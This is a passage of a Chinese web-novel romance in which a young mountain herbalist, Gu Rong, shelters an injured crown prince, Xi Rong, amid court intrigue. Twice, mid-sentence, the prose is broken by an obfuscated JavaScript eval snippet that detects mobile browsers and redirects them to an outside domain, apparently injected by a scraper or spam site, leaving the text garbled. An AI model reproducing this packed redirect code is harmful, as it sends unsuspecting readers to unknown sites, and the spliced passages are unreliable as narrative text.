“那我该叫兄台什么?” 奚融:“你不是对堂倌承认了我是你兄长么。” “我在家行三,你可以叫我三哥。” “下回再喊错,我要罚你的。” 顾容险些忘了这一茬。 一想到自己狐假虎威,打着对方招牌干了不少事,略心虚揉了揉额心,道:“这样是不是不合适。” 奚融挑眉:“怎么不合适?” 顾容凭着直觉道:“好像过于亲昵了些。” 他们只是萍水相逢不过见了两面的陌生人而已。 连对方姓谁名谁都不知道。 这样称呼,实是有些冒犯。 但直接拒绝好像太驳对方面子,顾容便委婉道:“这太便宜我了,让你亲弟弟听到,该不高兴了。” “我还是尊称兄台为‘兄台’吧!” 奚融没再坚持:“好,突然让你改口,是有些突然。” “慢慢来吧。” 慢慢来? 顾容一怔。 这种事要怎么慢慢来。 但在山里这两年,顾容已经习惯了没心没肺,再加上手里酒实在太醇香诱人,顾容很快将这点小事抛之脑后。 有了之前教训,顾容虽然馋酒,也不敢多喝,只浅酌了三小杯,免得再作出什么失礼的事。 搁下酒杯,见对面坐着的年轻男子正看着自己,奇怪问:“我脸上有东西么?” 奚融摇头。 “没有。” “你这般看着我,我还当有呢。” 顾容习惯性揉了揉眼梢。 如此一来,少年被酒意侵染、泛着浅浅酡红的眼尾更红了。 那莹白若玉石一般的颊侧肌肤,也如晚霞褪去明艳颜色,留下的一抹灼目余韵。 摄人心魄。 可惜主人却一无所知。 还在揉啊揉。 当真……没心没肺。 奚融不习惯这种被诱无法自控的感觉,错开视线,垂目饮下一口茶。 这时,外面忽有说话声传来。 奚融道:“好像有人来了。” 顾容终于停止揉眼睛,笑道:“兄台不用紧张,是朋友。” “朋友?” “嗯,一位猎户朋友。兄台你先吃着,我去瞧瞧。” 顾容起身离案,原本趴在地上打盹儿的花狸猫立刻一跃而起,紧跟上去。 一个猎户打扮的年轻汉子正站在门口,与姜诚面对面隔门站着,手里拎着不少东西。 见到顾容出来,猎户原本带着迟疑的面上立刻露出喜色。 “顾小神仙。” 猎户笑着喊了声,直接越过姜诚进了院子。 姜诚已经打量猎户有一会儿,见对方只是普通猎户,并无危险,便没有阻拦,因此地毕竟不是东宫,他不好太越界行事。 “韩大哥。” 顾容也笑着打了个招呼,道:“叫我顾容就可以,千万别再叫我小神仙,我怕折寿。” 猎户笑了笑,没说话,转头看向姜诚所在方向,问:“那位是……?方才我还以为走错了地方。” “一位客人。” “韩大哥过来有事?” “哦。”猎户视线仍在姜诚身上停了片刻,才收回,道:“听二丫和小胖说你回来了,给你送些野味过来……我还听他们说,你从山下带了个人上来,就是他么?” 顾容摇头。 猎户像长松了一口气,笑道:“那就好。现在外面乱,你孤身一人,还是安全为要,别随便带陌生人回家。” “对了,之前你给我用过的外伤药,还有么?能不能再给我一些?” “韩大哥受伤了?” “也不算什么大伤。今早进山时,不慎被荆棘划破了腿。” 顾容低头一看,果见猎户右腿裤管上沾着不少血迹,便道:“我帮韩大哥处理一下吧。” 猎户:“这怎么好麻烦小神仙。” “无妨的。” 顾容眼睛弯弯。 “只是简单包扎一下,很快。” “山中荆棘有些带毒,伤口如果不及时处理,很容易发炎化脓。” “那好,麻烦你了。” 猎户看着顾容,将手里东西往前一递,道:“这些野味,你先收着。” 猎户手里拎着一只野鸡,半只野兔,还有一条鹿肉,着实不少,尤其鹿肉,可称金贵。 顾容其实不爱吃野味,也不会烹煮,且知野味贵重,正常情况下,肯定不会收的,但想到如今家里有客人,这些野味恰好可用来待客,便没有如往常一般推辞。 大不了待会儿多送对方点伤药就是了。 之前准备出门化缘时,他就有此打算。 毕竟猎户常年在山中狩猎,受伤几率高,对外伤药的需求远比一般人大。 他自己配制的那些药粉,虽不说多名贵,但也有些师承,止血效果是一等一的好。如此也不算白占对方便宜。 猎户见他不说话,以为他要拒绝,忙道:“不值什么钱,入春山里猎物多,随时可以打,你一定要收下……” 猎户声音忽一顿。 因看到一个身量高大,容色冷峻的陌生年轻男子从屋里走了出来。 顿时一愣:“这位是……” 顾容正要开口,奚融先道:“我是他兄长。” “兄长?” 猎户又一愣,看向顾容。 顾容不好说是,也不好说不是,假装眼睛进了沙子,揉眼睛。 奚融步下阶,站到顾容身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903159|159037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁,看着猎户手里拎的野味,偏头道:“容容,人家既已辛苦送来,不收不礼貌。” “只是,来而不往非礼也。” “姜诚。” 他唤了声,吩咐:“你去猎点东西,回赠给这位大哥。” 姜诚应是,转身出了门。 不过片刻功夫,就提溜着一只鹰并两只野兔回来了。 “公子,时间匆忙,只来得及猎这些。” 姜诚道。 除了那主仆二人,顾容和猎户都有些吃惊。 野兔也就罢了,像鹰这种飞禽,对箭法要求极高,且大多数时候还需要运气极好才能射到,姜诚只是片刻功夫,就射了一只鹰回来,如何不令人惊奇。且姜诚射下来的还是一只活鹰,拿到市面上应能卖不少钱。 这也侧面印证了,此人功夫之高。 “请笑纳。” 姜诚将东西递给韩姓猎户。 猎户表情凝滞了片刻,才接过,又把自己带来的野味交给顾容—— 交到一半,就被一只骨节修长的手截过去。 “他胆子小,给我便可。” 奚融道。 猎户勉强挤出丝笑,说好。 “你再帮这位大哥处理一下伤口。” 奚融又吩咐姜诚。 姜诚应是,上前一步,请猎户到廊下坐。 猎户皱眉,下意识拒绝:“不用了……” 奚融道:“应该的。” “这位大哥,请这边来。” 姜诚搬了把凳子,请猎户坐下。 猎户没法再推拒,依言坐了下去,卷起裤管。 姜诚随身所带是东宫上等外伤药,他常年跟在奚融身边,无论打仗还是刑讯逼供都是一把好手,处理外伤自然十分有经验,只用片刻功夫,就帮猎户将伤处包扎好。 末了依照奚融吩咐,将整瓶伤药和他身上携带的另两瓶上品丹丸也直接赠予猎户。 “白瓶里是解毒药丸,一共二十粒,能解大部分的虫蛇毒,蓝瓶里是一种麻醉散,撒出一点,可暂时麻痹老虎、野熊之类的大兽,对你打猎应当有帮助。” 姜诚解释。 猎户握着瓷瓶,最后又看向顾容,欲言又止,最终道:“既然你兄长在,我就先回去了,改日再来看小神仙。” 顾容眼睛一弯。 “韩大哥慢走。” 猎户一走,顾容就盯着那些野味看起来,尤其是那条鹿肉。 奚融看在眼里,问:“这么想吃?” 顾容:“我在想该怎么做,听说鹿肉佐酒最佳。” 他只会生煮或晒成肉干,自己吃还行,招待客人未免太失礼了些。 奚融道:“屋里还剩很多吃食。” 经他一提醒,顾容想了起来。 “是啊,这么多东西,如何吃得完。” 昨夜还在为揭不开锅发愁,谁料今日突然就这么富裕,他竟要苦恼如何处理丰盛的囤货了。 奚融继续提醒:“热食放不久。” “对,要先紧着热食吃,那这些怎么办?” “先放着便是,山里温度低,一时半刻放不坏。” 奚融直接将东西丢给姜诚。 “菜该凉了,先吃饭?” 顾容点头。 —— 回到屋里,奚融忽道:“方才我替你做主,你不会怪我吧。” 顾容正拿着筷子蘸酒解馋,闻言一笑。 奚融挑眉:“笑什么。” 顾容半真半假:“兄台,原来你也知道自己霸道。” 奚融没有否认:“抱歉,平日处理事情太多,有时就会这样,不过——若非我在此白吃白住,你应不必为吃食发愁,于情于理,这份人情,都不能让你来欠。再者,那猎户的一双儿女,算是对我有恩,他既有伤在身,也理应我来回报。” 顾容道:“可如此一来,我岂不是又欠了兄台你的?” 奚融摇头。 “你对我有救命之恩。只有我欠你,没有你欠我。” “只是,你的这位‘韩大哥’,恐怕会不大高兴。” 顾容:“为何?” 奚融:“你真没瞧出来?” “瞧出来什么?” “你的这位‘韩大哥’,是不是一个鳏夫?” “是啊,他媳妇死了很多年了,一直没有再娶,咦,你怎么知道?” “猜的。” 奚融突然伸手,在那灼了他一中午的眼尾揉了下。 “下回刚喝完酒,最好不要出去见人。” “尤其是你这位‘韩大哥’。” 顾容:? 奚融伸出指腹:“有东西。” 顾容低头一看,是一小片飞絮。 嗯? 他怎么完全没感觉到。 13.山居(四) 日光将木屋与石洞分割成明暗分明的两片空间。 姜诚恭敬立在石床前,将宋阳的亲笔信递给奚融。 奚融阅完,简单提笔回了几句,点头道:“告诉宋先生,按计划进行便可。” 姜诚听出些言外之意。 微愣:“殿下不回去么?” 奚融一扯唇角:“孤若此时露面,如何引出后面的大鱼。” 姜诚不由隔着石洞门,看了眼外面已经抱着那只肥猫在藤椅上酣然入睡的主人,在心里默默叹口气。 按理,殿下留在山上养伤也不算什么大问题。 然而他如何放心,把殿下交给这么一个不靠谱的主人照顾。 姜诚立刻道:“那属下和殿下一起留下。” “不用。” 奚融淡淡道。 姜诚:“殿下放心,属下脚程快,能赶得回。” 奚融看他一眼。 “你看这里还住得下你么?” 姜诚:“……” 姜诚:“属下可以守在外面。” 奚融:“你不怕冷,孤还不想再折掉一个东宫统领。” 姜诚冷汗涔涔。 见奚融臂上药带已经渗出血,忙道:“那属下先帮殿下换药。” 奚融看他第二眼。 “你知道换什么药么?” 姜诚一愣。 想,难道不应是止血消炎类的外伤药么。 “属下这就去问……” 话到一半,察觉到殿下眸光更冷,姜诚突然意识到什么,垂首,再不敢多言半句,恭敬退下。 只经过门口时,忍不住看了眼那老古董一般东斜西歪好似随时都能散架的藤椅。 这样不结实的椅子,一般人应当很难睡得着吧? 然而此刻椅子里,那小郎君抱猫而眠,蓝袍乌发,倾泻一地,沐在日光中,睡得要多香甜有多香甜。 实在是一副……美得惊心动魄的画面。 也不怪殿下诸多宽容。 姜诚在心里叹了第二口气。 —— 姜诚只用了半个时辰,就将命令带给了等在林中的宋阳。 宋阳捻须点头:“殿下思虑周全。” “以前是殿下在明,对方在暗,如今调转一下,再好不过。” “殿下伤势如何?可还安好?” 姜诚心情复杂点头。 “殿下没事,虽受了伤,但未伤及要害。” 宋阳瞅他:“那你怎么这副表情?” 宋阳是奚融最为信任的心腹,姜诚没什么可隐瞒的,满脸忧愁一叹又一叹,两眼望天道:“殿下的伤虽没问题,救殿下的人却很让人不放心!” 沉默寡言的姜统领难得口若悬河,将那小郎君如何不靠谱,如何不着调,如何懒惰贪睡,及如何骗吃骗喝的前情全部倾吐了一遍。 “竟是他。” 宋阳也大为诧异。 “这会不会太巧合了些,你可仔细查过他身份,没什么问题吧?” 姜诚摇头:“查过了,和崔氏、魏王及那几姓望族没有任何牵扯,和官府也没关系,就是个混吃混喝的小骗子。” 宋阳不免好奇。 “那殿下怎对一个小骗子这般信任?这可不像殿下做派。” 姜统领用自己二十多年刑讯逼供抓奸捉盗鲜少失手的毒辣眼光,审慎作出判断: “我觉得,殿下似乎想将他召入东宫作幕僚。” 宋阳:“你不是说他学问很一般,没读过几本书?” 姜诚糟心道:“但脸长得很过得去。且殿下——” “殿下如何?” “殿下似乎很喜欢那张脸。” “……” 宋阳:“你的意思是?” 姜诚:“我的意思是,那魏王不是弄了个什么四大公子,天天带出去炫耀,还暗讽东宫门下都是歪瓜裂枣么,殿下很可能想以毒攻毒,给魏王沉重一击。” “就那小骗子那张脸,别说四大公子,便是八大公子,都得甘拜下风。” 宋阳:“……” 宋阳道:“行了,人家毕竟救了殿下,你别带那么多偏见。能让殿下如此看重的人,一定有不一般之处。若真能召入东宫,倒也不错。” 以他们东宫眼下的处境,还有什么资格挑三拣四嘛! 脸长得好,也不是不行!带出去多有面子! —— 顾容一觉醒来已是傍晚,坐起来,便发现自己竟又躺在石床上。 外间小木屋里亮着光,顾容穿好鞋子出去,就见奚融一身玄衣,坐在食案后,手里还握着一卷书。 花狸猫则站在半丈之外,竖着尾巴,迈着小碎步,一双猫瞳一错不错盯着这个人,不时发出一声凶狠的“喵”。 “醒了?” 见顾容出来,奚融视线从书上错开,声音很温和问。 顾容下意识揉揉眼睛。 “我……那个……” “你昨夜没睡好,正常。” 奚融道。 “今夜另想个法子便是。” 顾容揉啊揉,把眼尾好不容易消下去的红意又揉了出来。 “真是失礼。” “下回兄台你直接叫醒我便可,不用再……咳咳,抱我。” “会加重伤势的。” 奚融道:“不会。” “你太瘦了,我一只手就能抱起来,很难影响伤势。” 顾容:“……” 奚融唇畔终于溢出丝笑。 “菜我已经热好,要是睡好了,就洗洗手,过来吃饭吧。” 顾容一看,才发现食案上已经摆好饭菜,大约为了等他起来,菜都用碗扣着。 啊……这真是太失礼了。 他一个主人,竟还要被客人照顾。 还是一个受伤的客人。 以往顾容一个人住,吃饭睡觉都很随性,晚饭这种东西更是想起来就吃,想不起来就不吃。这还是第一次如此隆重的吃晚饭。 左右对方都已经弄好了。 他再说失礼之类的话反而显得矫情。 便点头,去洗了手,在食案对面坐下。 低头一看,惊讶发现案上除了菜,竟还摆着两碗热腾腾的粥。 自然,这粥浓稠诱人,散发着正宗米香,与他熬出来的那碗糊粥根本不在一个档次。 “这是?” “我看院子里有了米罐,里面还剩一些米,就自作主张熬了粥。” 奚融道。 顾容:“……” 顾容完全没有印象。 但这不重要。 重要的是,身为主人,他竟还没客人清楚家里情况。 而且,对方虽然说得轻飘飘,但必是经过一番辛苦搜寻,才找到这个连他都不知道的米罐,也就是说,对方对他家里存粮情况已经一清二楚。 啊,真是丢人。 好在顾容脸皮厚,一拍脑袋,表示自己也想起来了,而后眼睛弯弯道:“兄台,你这般贤惠,简直衬得我像一个废物。” 奚融挑眉:“贤惠?” “是啊,简直就是传说中的‘上得厅堂下得厨房’,以后谁家姑娘要是嫁了你,肯定很幸福。” 奚融似乎对这种说法感到新奇。 道:“那是你还不够了解我。” “若了解了真正的我,也许,你就不会这么想了。” “真正的你?” 顾容饶有兴致问:“真正的兄台,是怎样的 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虽然吃完饭不用刷碗的感觉的确很不错。 好在果如奚融所言,他力气大,做事利索,很快就洗完回来了。 因为心有愧怍,在包扎伤口时,顾容良心大发,格外细致耐心。 生怕弄疼了奚融,上一点药,恨不得凑上去吹上十下,再往下涂抹。 两道刀伤,硬是处理了小半个时辰。 “我弄疼你了么兄台,你怎么出了这么多汗?” 顾容抬头,看到奚融衣襟敞开,阖目坐于灯光里,苍白俊美面孔上竟布满细密汗珠,不由大吃一惊。 奚融睁开眼,眸底混沌晦暗色一闪而过。 “无事。” “不疼。” “当真?” “嗯。” 顾容便没再纠结这个问题,因他动作的确已经足够轻了。 “你给其他人上药,都是这么上的么?” 上方忽又传来一道声音。 低沉,带一点哑,混着青年男子独有的磁性。 顾容想,那怎么可能。 以他近来耐性,不把人当猪就已经很不错了。 但面对客人,毕竟要矜持一些。 便道:“自然,我处理外伤的技术,绝对过关的。” 这倒不完全是假话。 他这手处理外伤的技术,还是在伤兵营习得的,连老军医都夸他有天分,非要将他收为关门弟子,营里那些伤兵,更是宁愿排队忍痛,也要来找他上药。 为了解决这种困扰,他便故意将手法变得粗暴一些,以至于后来有些遭过他“魔爪”的士兵,看到他扭头就跑,嗷嗷扑进其他军医怀里。 …… 上面人明显沉默了下去。 顾容抬头问:“兄台可是哪里不舒服?” “没有。” “很舒服。” 对方阖着眼,道。 “那就好。” 顾容将剩下的伤药和药带仔细收起来,留着下回继续用,就起身道:“兄台你好好休息,有事叫我。” 顾容招呼狸猫一道出去。 奚融忽睁开眼,道:“一起睡吧。” 顾容一愣。 “嗯?” 奚融神情认真而正派。 “我的意思是,这床很大,足够躺两个人,你不必再去外面凑合睡。” “否则,明日又该犯困了。” 奚融补了句。 14.山居(五) 顾容以前在军营的时候,不是没和人挤一张床,但那到底是特殊情况。 他眼睛一弯,道:“不用,我在藤椅上睡一样的,兄台你安心休息,不用管我。我这人真的不挑地方。” 困极了,给他一棵树,他也能睡着的。 这一点,顾容没有撒谎。 他人虽娇气,其实性子并不娇气,且天生有一种不把自己当回事的乐观心态。 “但我会于心不安。” 奚融道。 “若你坚持如此,那就我睡外面,你睡里面。” “否则,我只能离开了。” 这下顾容倒真迟疑了。 实话说,对于挤一张床这件事,他倒是不排斥。 两人都是男人,睡在一张床上没什么。 山里昼夜温差大,一起睡还暖和些。 且第二个理由很有说服力。 他就是因为昨夜没睡好,今日才屡屡犯困,做出那么多失礼的事。 但问题是—— 他只有一床被子。 “这没什么。” “我们合盖一条便是。” 奚融反应堪称平静,末了皱眉:“只有一床被子,你在外面睡准备盖什么?” 这个问题顾容还真没想过。 “挨着炉子,不冷的,随便裹件衣裳就行。” 他道。 奚融直接否决。 “不行。” “一起睡吧。” “放心,我睡觉很安静,没什么坏毛病,不会吵到你,也不会与你抢被子。” 如此,最大的难题也解决了。 顾容想了想,似乎没有再拒绝的理由,便道:“那我睡外面,你睡里面。” 身为主人,他自然要承担起照顾病人的角色。 “不用。” “我晚上不起夜也不喝水,不需要照顾。” “我睡外面。” 奚融不由分说道。 说完,他就开始重新铺床叠被,将属于顾容的位置收拾了出来。 石床上只铺着一层茅草和一层褥子,奚融忽问:“你冬日也只铺这些东西?” 眼下是乍暖还寒的时节,一入夜,山里温度很低,和冬末差不了多少。 顾容点头,不觉得有什么问题。 继而想到对方家境优渥,平日肯定都是锦衾玉食,怕都没睡过这般简陋的床,便问:“兄台是不是昨夜睡着不舒服?” “那我明日再加点茅草。” 奚融却摇头。 “茅草御寒作用有限,等我伤好一些,找些其他的。” “石床本就凉,你总这样睡,容易生病。” 顾容一怔,他是不在乎这些小事的,意识到对方是在为自己考虑,不怎么在意笑道:“不用这么麻烦,我这人火力旺。” “是么?” “当然。” 奚融没再说什么,只是转过身,打量顾容:“你就这么睡?” “当然不是。” 顾容脱了外袍和中衣,整齐叠放在一旁石案上,只留了一件雪白里衣,又随手拔掉束发之物,一并丢到案上,才脱掉鞋子,上了床。 奚融身上常年带着冷冽提神的薄荷香。 此刻却突然嗅到一股清淡的不知名药香,混着无法用语言描述的书卷气息。 来自何处,不言而喻。 奚融刚刚为了换药已经去掉外衣,自然不需再脱。 他只除掉靴袜,整齐摆在床边,顺便将顾容胡乱丢在一边的两只鞋子捡起,准备和自己的靴子摆在一起。 他素来注重干净整洁,在这些小事上,也一以贯之。 东宫宫人知道他的习惯和脾性,做事时便格外注意,因而他的寝宫内,一器一物,永远是一丝不苟纤尘不染的状态。 此刻,奚融动作忽一顿。 因他发现,其中一只鞋子上,顶部拇指位置好似破了一个小洞——极小,不盯着看很难看出来,但没能逃过他的眼睛。 鞋底也磨损的厉害。 这双鞋子,显然已经穿了不短时间。 “兄台,你还没收拾好么?可是需要帮忙?” 顾容已经钻进被子里,在后面打了个哈欠,问。 他一沾床就犯困,只因碍着有客人在,才没好立刻去找周公老人家见面。 奚融放下鞋子,整齐摆放好,道:“不需要,放心吧。” “好,那你快些……” 大约太困,顾容不自觉带了点鼻音道。 等奚融在外侧躺下,顾容已经面朝里,将自己包裹得严严实实睡了过去,只有一缕乌发是落网之鱼,散落在了外侧枕上。 奚融盯着那缕发看了片刻,掀开被子,预备躺下。 动作忽一顿。 两人合盖一被,被子下自然完全是另一番光景。 因顾容是面朝里屈膝侧躺,一头乌发绸缎似的铺散在身后整面被褥之上,直接蔓延到了外侧空间。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916603|159037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 昏暗油灯下,年轻小郎君清瘦背脊和纤瘦腰线亦随收紧的里衣显露无疑,这是平日宽袍广袖下无法看到的画面。 奚融顿了下,伸手,握起一束乌发发尾,顺着那清薄若玉的背部线条,放了回去。 他接着将山阿剑置于枕下,也躺了下去。 他睡前有看书的习惯,因而躺下后并未立刻睡,而是单手持起白日未看完的书卷——从书架上随意拿的一本游记看了起来。 刚看两行,突然臂上一沉,原来是面朝里躺的顾容,竟突然调转方向,翻身过来,且伸出一只手,往他腰侧摸来,似在找什么东西。 摸索半天,没摸到,少年竟直接往他怀里拱了拱,紧紧贴住了他身体,看起来十分舒服地眯了眯眼睛。 奚融动作一顿。 若是一般情况下,有人敢如此靠近他,山阿早已出鞘。 眼下——他却没动。 只是一臂被压着,还是带伤的那只,他也不便再继续夜读,便搁下书,灭了油灯,阖目入睡。 —— 顾容饱睡一夜,醒来已是天光大亮。 石洞里照旧昏昏暗暗的,奚融已经衣冠齐整,盘膝坐在外侧运功调息。 顾容坐起来,拢了拢衣袍,便轻手轻脚下床。 “饭我已做好,不用急着起来。” 奚融忽睁开眼,道。 顾容:? 顾容大感意外。 “兄台你该不会一夜没睡吧?” 他忍不住问。 奚融否认:“只是醒得早而已。” “嗯?” 顾容惊讶并未消减多少。 对方既能自如与他对话,证明运功已到尾声,再加上做早饭时间,对方岂不是天不亮就已经起来了? “兄台,你也太勤勉了些。” “可是昨夜睡得不好?” 奚融照旧摇头。 “睡得很好。” “只是习惯早起。” “你睡得如何?睡够了么?” 顾容点头,并伸了个懒腰。 “再好不过。” “不瞒兄台,我很久没睡这么踏实了。” “昨夜阿狸似乎格外暖和。” 奚融一顿:“阿狸?” “是啊,我睡觉都是抱着它,拿它当汤婆子使的。说来奇怪,一大早,这家伙又跑哪里去了。” 顾容四下搜寻。 奚融阖上眼,继续运功,没吭声。 15.山居(六) 顾容不好打扰他疗伤,穿好中衣和外袍,又随意将乌发挽起,便出了石洞,去了外面小木屋。 屋里果然弥漫着一股饭香。 味道来源于灶上的那口铁锅。 顾容走过去,打开锅盖一看,就见锅里焖着两碗粥,一碟炒野蔬,一碟炒鸭蛋和两个水煮蛋。 鸭蛋似乎是昨日猎户送的。 虽然不是什么山珍海味,但对于顾容来说,已经是堪称华丽丰盛的早膳。 一个人随便惯了,还真是有点不习惯。 不仅如此,土灶周围整洁一新,原本被他胡乱堆着的锅碗瓢盆此刻都分门别类,摆放得整整齐齐。 正出神,门外忽传来几声响亮的喵喵声。 顾容晃过去打开门,果见花狸猫蹲着门口,正扯着嗓子嚎叫,且看起来带着几分狼狈,像是打架打输了。 “我说怎么瞧不见你,原来被关在外面了。” 顾容俯身把猫拎起来。 接着奇怪,他昨夜睡觉前明明特意把门留了个缝,没有把门锁紧,好方便花狸猫进出的,门怎么关上了。 想来是风吹的,或花狸猫出门时自己不小心给带上的。 这时,奚融也运完功从里面走了出来。 见顾容怀里抱着猫,道:“洗洗手,吃饭了。” 顾容应了声,先去给花狸猫弄好吃食和水,才去净面净手。木屋里只有一个脸盆,他们只能合用。 顾容走过去,就发现盆里已经换了干净的温水,而不是凉水。 显然是特意给他兑好的。 不由大为惊叹对方的细心和周到。 等顾容简单洗漱完,奚融已经将饭菜摆好,坐在案后等他。 “兄台,你平日在家里都不让人伺候么?” 在对面坐下,顾容问。 奚融抬起眼:“为何这么问?” “圣人言,君子远庖厨。兄台你衣着不凡,吃食也讲究,一看就出身富贵之家,又饱读诗书,文武双全,怎么又会做饭又这么细心。” “做得不多,略懂而已,尝尝味道如何?” 顾容点头,握起筷子,先夹了一块色泽金黄诱人的炒鸭蛋送进口中,吃完眼睛一弯,道:“极好,这简直是我吃过最好吃的炒鸭蛋。” “是么。” 奚融也尝了口。 他不重口腹之欲,没什么感觉。 只道:“你是第一个夸我做饭好的,我便当真了。” 顾容又吃了第二口,问:“为何?” 奚融:“其他人鲜少能吃到我做的饭。” 顾容:“…………” 是他的罪过。 让富贵人家的大少爷到这山窝窝里负伤给他做饭。 顾容眼尾轻翘。 “那看来,我真是三生有幸,口福不浅。” “你觉得好吃便好,这么喜欢吃炒鸭蛋?明日我多炒些。” 姜诚一早赶来,走到门口,正要礼貌性敲下门,就猝不及防听到里面殿下用低沉而独具磁性的声音道了这么一句。 殿下平日用来处理军国大事、东宫上下既敬且畏的声音。 姜诚两眼一黑又一黑。 他听到了什么,炒、炒鸭蛋。 殿下身上有伤,竟然还要负责做饭! “进来吧。” 奚融在里面道。 姜诚忙正色进去。 顾容笑吟吟与他打招呼:“兄台来得正好,坐下一道吃吧。” “谢小郎君盛情,在下吃过了。” 姜诚麻木道了句,便将从山上买来的早膳放到奚融面前。 “是属下来晚了。” “这是属下特意给公子买的药膳,公子吃一些吧。” 姜诚恭敬道。 除了药膳,姜诚还买了灌汤包和牛肉烧麦,都是松州本地特色。 “先吃这个,鸭蛋留着下顿再吃。” 奚融直接将灌汤包和烧麦都摆到食案中间,又将药膳分成两份。 顾容忙道:“不用,兄台,我又没受伤,不用吃药膳,这米粥就很好。” “就当替我分担一些,否则粥要剩下了。” 奚融道。 姜诚站在一边,不敢说话,眼睁睁看着殿下将药膳分为一大一小两份,并将明显大的那一份给了对面的小骗子。 “顾小公子,你在家吗?” 快吃完时,外面忽传来一道响亮的女人声音。 顾容搁下筷子。 道:“兄台你吃,我出去看看。” 奚融点头。 等顾容出了木屋,才偏头看了姜诚一眼,道:“孤没有吃独食的习惯,想来东宫也没穷到只买得起一份粥的地步。” 姜诚一愣,立刻意识到,奚融是指那份药膳的事,登时冷汗涔涔,垂首道:“属下知错。” 这时,外面女子洪亮的大嗓门也隔门传了进来。 “这回是镇长家的大儿子,实打实的大户人家!” “他们听说了小公子的姿貌和本事,十分满意,让我带话过来,只要小公子愿意答应这门婚事,聘礼今日午后就能教人抬过来,事成之后,另给小公子包一个大的!” 姜诚:? 姜诚还未从这巨大的信息量中回过神,就听另一道笑吟吟的声音响起:“这有什么可考虑的,我答应。” “那日子?” “自然全凭主家定夺。” “好嘞!这十里八乡,再难找到小公子这般痛快的人了!” 姜诚:“…………” 要不是在东宫当差多年,跟着殿下经历了不少腥风血雨,姜诚几乎要怀疑自己耳朵出了问题。 殿下伤还没养好,这不靠谱的小公子,竟然已经要将自己嫁出去?! 这山里民风,都这般彪悍么? 且他虽还未娶亲,也知这谈婚论嫁,是要有三媒六聘一系列繁琐流程的,哪儿有媒婆上门随便说合两句,就把婚事定下来的。 这小公子,难道是相中了对方“镇长儿子”这个身份? 不得不说,很符合这小公子骗吃骗喝,好吃懒做的一贯做派。 再看殿下,果然也是剑眉微蹙,容色显而易见的沉了下去。 能让八风不动的殿下露出这副表情,小骗子果然不是一般人物。 顾容很快从外面回来。 见屋里二人都用怪异眼神看着自己,不由奇怪:“怎么了?” “那是谁?” 奚融问。 顾容眼睛一弯,坐回原处,道:“赵大娘,镇上有名的大媒婆。” 姜诚看这小郎君竟没心没肺地又握起筷子开始吃东西,不由一言难尽问:“小郎君,你当真……要嫁人了?” “是啊。” “这赵大娘,可给我说了桩打着灯笼都没处找的好姻缘。” 顾容笑眯眯夹了筷子炒鸭蛋。 “难怪昨夜睡觉梦见了一块大元宝砸在身上,原来是周公老人家在好心告知我,近来要发横财。” 姜诚:“……” 姜诚已经不知道该说什么。 见过见钱眼开的,没见过这么见钱眼开的。 奚融忽冷不丁问:“你喜欢男人?” 姜诚:“……” 顾容:“……” 顾容咳咳两声,故作镇定道:“谈不上喜欢,但得桩好姻缘不易,岂有白白错过的道理。我的条件兄台也瞧见了,靠自己讨媳妇很难的。” “…………” 姜诚已经不知道该说什么。 他还是头一次见到,有人这般儿戏对待自己的终身大事的。 奚融神色晦暗不明,接着问:“镇长的儿子,就那么好么?” “当然了。” “兄台,你可别小瞧这小小的一镇之长,论起富贵,可不比那些官老爷差,我早听说,这镇长家富得流油,蜡烛能当柴烧,池塘里流的都是美酒,这聘礼,少说也能给这个数。” 顾容悠然竖起一根手指。 姜诚忍不住猜测:“一千两?” 顾容摇头。 “一百两。” “兄台,你也太敢想了。” “一千两,把我卖了都不值这钱的。” 姜诚:“…………” 所以,这小公子,竟然一百两银子就把自己给卖了? “小郎君,你当真不再考虑一下?当心被人给骗了。” 姜诚好心提醒。 一镇之长,富到这种程度,多半是本地豪族。 一个豪族给儿子娶妻,怎么可能只出一百两聘礼,只怕纳妾都要比这个数高。 顾容神秘一笑,眼尾高高扬起:“兄台放心,这笔买卖,只赚不赔,待我发了这笔横财,我请二位去松州城里喝最好的酒。” —— 吃完饭,顾容带着花狸猫去院子里巡视自己的宝贝药草。 奚融负袖站在木窗前,看日光毫不吝啬倾洒在那袭蓝色宽袍上。 姜诚恭敬立在后面,也不敢说话。 他明显感觉到,自打听到这小郎君要嫁人的消息后,殿下周身气压便变得很沉而低,显而易见的心情不虞。 也不怪殿下不虞,实在是这小郎君行事,忒不靠谱了一些。 “说事吧。” 片刻后,奚融转身,淡淡道,俊美面孔上是惯有的波澜不惊的霜色,看不出情绪。 姜诚应是,跟着奚融进了里面石洞,禀报事情。 “如殿下所料,殿下养伤这两日,之前未露面的松州府官员皆寻着各种由头去行辕打探殿下行踪,那几姓使者也频繁进出官员们的府邸。好在宋先生做了妥善安排,他们虽然怀疑,却也抓不到证据。” 奚融颔首,又问刺客情况。 “眼下线索太少,还没能查出刺客身份,但可以肯定,他们不是一般杀手,而是死士。一般杀手,不可能那么痛快服毒。只是他们行事极缜密,身上没有任何暴露身份的标 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“殿下行踪泄露,无非两个途径,一是东宫内部有他们的眼线,二是他们在外围布置了人盯梢,无论哪种,皆是属下无能,让他们有了可乘之机。” “其他事属下不敢保证,但此次跟随殿下出来的这批暗卫,皆是属下一手训练,属下敢保证,他们对殿下绝无二心。还请殿下宽宥,容他们将功折罪。” “起来吧,孤信你。” “否则,孤此刻也无法安然坐在此处。” 奚融道。 “是。” 